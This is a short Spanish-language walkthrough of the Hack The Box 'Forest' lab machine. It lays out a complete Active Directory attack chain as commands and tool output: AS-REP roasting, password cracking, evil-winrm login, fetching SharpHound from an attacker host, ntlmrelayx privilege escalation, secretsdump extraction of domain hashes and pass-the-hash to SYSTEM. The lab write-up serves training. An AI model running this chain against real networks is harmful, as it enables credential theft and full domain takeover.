Nmap a forest.htb de la manera convencional.

Enumerar usuarios como indica aquí.

https://www.tarlogic.com/blog/como-atacar-kerberos/

O con el módulo smb-enum de metasploit. Con el resultado de nombres de usuario se elaboró el archivo username.txt.

Se encontró el usuario svc-alfresco y se pudo determinar el hash de la credencial con el comando

python GetNPUsers.py htb.local/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast

Una vez obtenido el hash de svc-alfresco. Con el uso de hashcat y Rockyou.txt se determinó que la clave de svc-alfresco es "s3rvice"

Se obtuvo la shell en el servidor con el comando:

evil-winrm -i forest.htb -u svc-alfresco -p 's3rvice'

Y en el desktop del usuario svc-alfresco estaba el user.txt

Para elevar privilegios se usará bloodhound + impacket

wget http://10.10.14.24:8000/SharpHound.ps1 -Outfile SharpHound.ps1

import-module ./SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain htb.local -LDAPUser svc-alfresco -LDAPPass s3rvice  

download 20200113053956_BloodHound.zip

De acuerdo al gráfico de Bloodhund se puede ver que el usuario podría ser agregado al grupo "Exchange Windows Permissions" y posteriormente escalar privilegios.

net group "Exchange Windows Permissions" svc-alfresco /add
ntlmrelayx.py -t ldap://forest.htb --escalate-user svc-alfresco -domain htb.local

curl -v --ntlm -u svc-alfresco:s3rvice http://10.10.14.28/privexchange/


secretsdump.py  htb.local/svc-alfresco:[email protected] -just-dc


psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 [email protected]

Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on forest.htb.....
[*] Found writable share ADMIN$
[*] Uploading file LhKqzMDw.exe
[*] Opening SVCManager on forest.htb.....
[*] Creating service yjep on forest.htb.....
[*] Starting service yjep.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system